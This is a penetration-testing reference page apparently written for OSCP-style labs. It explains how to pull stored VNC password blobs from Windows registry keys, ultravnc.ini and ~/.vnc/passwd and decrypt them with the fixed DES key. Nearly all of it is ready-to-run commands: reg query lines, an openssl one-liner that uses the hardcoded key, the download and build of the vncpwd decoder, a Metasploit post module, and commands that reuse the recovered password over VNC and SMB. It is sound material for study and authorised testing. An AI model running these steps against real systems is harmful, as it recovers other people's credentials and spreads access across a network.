# VNC Password Hash Extraction and Decryption

> Covers extracting stored VNC password hashes from registry/config files and decrypting them using DES-based algorithms to recover plaintext credentials during exploitation.

- **URL:** https://hackindex.io/services/vnc/exploitation/vnc-password-hash-extraction-and-decryption
- **Path:** VNC > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/vnc/exploitation.md)
- **Published:** 2026-03-12
- **Updated:** 2026-07-10

VNC passwords are stored as DES-encrypted blobs using a fixed hardcoded key. The encryption is fully reversible: it is obfuscation, not real protection. From a foothold on the target, pull the blob from the registry or config file and decrypt it instantly to recover the plaintext password.

VNC password storage locations:

- RealVNC: Windows registry under `HKLM\SOFTWARE\RealVNC`
- TightVNC: Windows registry under `HKLM\SOFTWARE\TightVNC`
- UltraVNC: `ultravnc.ini` config file on disk
- x11vnc/TigerVNC: `~/.vnc/passwd` file on Linux

## Storage Locations by VNC Implementation

**RealVNC (Windows registry):**

```bash
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v Password
```

**TightVNC (Windows registry):**

```bash
reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v Password
reg query HKEY_CURRENT_USER\Software\TightVNC\Server /v Password
```

**TigerVNC (Windows registry):**

```bash
reg query HKEY_LOCAL_MACHINE\SOFTWARE\TigerVNC\WinVNC4 /v Password
```

**UltraVNC (config file):**

```bash
type "C:\Program Files\UltraVNC\ultravnc.ini"
```

Look for `passwd=` and `passwd2=` lines.

**Linux VNC (file):**

```bash
xxd ~/.vnc/passwd | head
```

The password blob is always 8 bytes: 16 hex characters. Sample registry output:

```
Password    REG_BINARY    D7A514D8C556AADE
```

## Decryption with openssl

The fixed DES key shared by all VNC implementations is `e84ad660c4721ae0`. Decrypt directly: no extra tools needed:

```bash
echo -n D7A514D8C556AADE | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d | cat
```

Replace `D7A514D8C556AADE` with your extracted blob. The plaintext password prints to stdout.

## Decryption with vncpwd

```bash
wget https://aluigi.altervista.org/pwdrec/vncpwd.zip
unzip vncpwd.zip && gcc vncpwd.c -o vncpwd
./vncpwd D7A514D8C556AADE
```

Works with all major VNC implementations.

## Extracting the Blob from a Linux passwd File

```bash
cat ~/.vnc/passwd | xxd -p | head -c 16
```

Pass the output hex directly to the openssl one-liner above.

## Automated Extraction with Metasploit Post Module

> [!WARNING]
> This may be restricted in exams such as OSCP. Verify exam rules before use

```bash
use post/windows/gather/credentials/vnc
set SESSION 1
run
```

Queries all known registry paths, extracts blobs, and decrypts automatically.

## What to Do After Decryption

Connect directly:

```bash
vncviewer $TARGET_IP:5900
```

Also test the password against other services: VNC passwords are frequently reused on SSH, RDP, and SMB:

```bash
nxc smb $TARGET_IP -u $USER -p $PASSWORD -d $DOMAIN
```

## References

- [PasswordDecrypts](https://github.com/frizb/PasswordDecrypts) - frizb Registry path reference and decryption methods across VNC implementations.
- [vncpwd](https://aluigi.altervista.org/pwdrec.htm) - Luigi Auriemma Standalone VNC password decoder.